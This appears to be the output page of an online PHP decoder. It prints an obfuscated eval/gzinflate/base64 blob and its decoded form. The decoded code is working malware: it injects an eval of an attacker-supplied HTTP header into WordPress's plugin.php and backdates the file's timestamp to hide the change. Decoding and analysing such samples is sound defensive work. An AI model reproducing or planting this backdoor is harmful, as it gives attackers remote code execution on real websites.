Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jZJrj5pAFIa/+ytoYoJmNw3IqjHNpt3SxUtFFBVHmsbAMCgyzLAwrGKz/72D..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo1NDoiL3Vzci9ob21lL3ZhbnRyYW5zZmVybWFkcmlkL3d3dy93cC1pbmNsdWRlcy9wbHVnaW4ucGhwIjtpOjE7czo5ODoifmV2YWxbXlwoXG5ccl0qXChbXlwkXSpcJF9bQS1aXXs2fVteXFtdKlxbW15cJ1wiXSpbXCdcIl1IVFRQX0IxNTcyQkFbXCdcIl1bXlxdXSpcXVteXCldKlwpW147XSo7fnMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF9CMTU3MkJBJ10pOyI7aTozO3M6MzY6In5eXHMqZnVuY3Rpb25ccythZGRfZmlsdGVyW15ce10rXHt+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jZJrj5pAFIa/+ytoYoJmNw3IqjHNpt3SxUtFFBVHmsbAMCgyzLAwrGKz/72D970kLQnMGea8z7lNKV7FKiW+5eDAcxiqiPMJlQzCYmP90IQ7Kg9+0KCvWDsYtKhbk3FfsVcuMfP5rL6zIyt3Z1oIIxz2FU/x8pYCVTl2o0HqzUwM89bG7VjEmd1lsL3adNcF97Hg1g3O9SOrNp9tXYA3FLTrEGLpCairYh+CcQx7WssdjWUHgLTmWwwBjXk/8dadyXXYkzcB93GB6sEulruWZo6A1N0OJjAfhdrpP2dtvYIFCr2KuX4Tz+S7JhjTpk/0wKiFDX3NdsZaz42g92ADXp+6DIE80KbY5m9Kxpo5nWotVZ9MFT3sfe/JUmzk3aYzoTtD0Rv6bt7okjoCHf3JJlY2V8zYrfF6cray26ZvRzj12lZe5I1kKQEdduOOu01/dH8vVr+U/IxAFlAivJ1GOUVJVfhTKgn8wUHKhErZzzAeOmx1K5TTPGUoeiTP3IbUQ3yJHcZQQqrCvZARrg44aocqrpOixt3CQ4XbAcvjFtRySrMEIu7vBxgtlogtICUMEZZeYh19A1+oxAlaLiKHwVXlVfwDplpkKxyfBLEsIQfpyxnw6ZpwTPes58b+BKX/IB1yDwikSYIgM9ESbXkNKUsWCYqxA/lVRqLwWRCfnf2CxVtB/PbVSZL91snF6waemkHQZnzqxz7PE+xNKM4SL0V/IL5O5FTSL+n3cVA8g2FnuHg0+tx6fXyGHKmXz7vmXbf/IvufvhWjjlgQnca+t6/GLdwIsnSQZQQHJHx3FfaXJc4+uiwfFMFoViR85XGOyj1eSn8B")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 a95d4f9a1295594c9504c17703d60c19
Eval Count 1
Decode Time 41 ms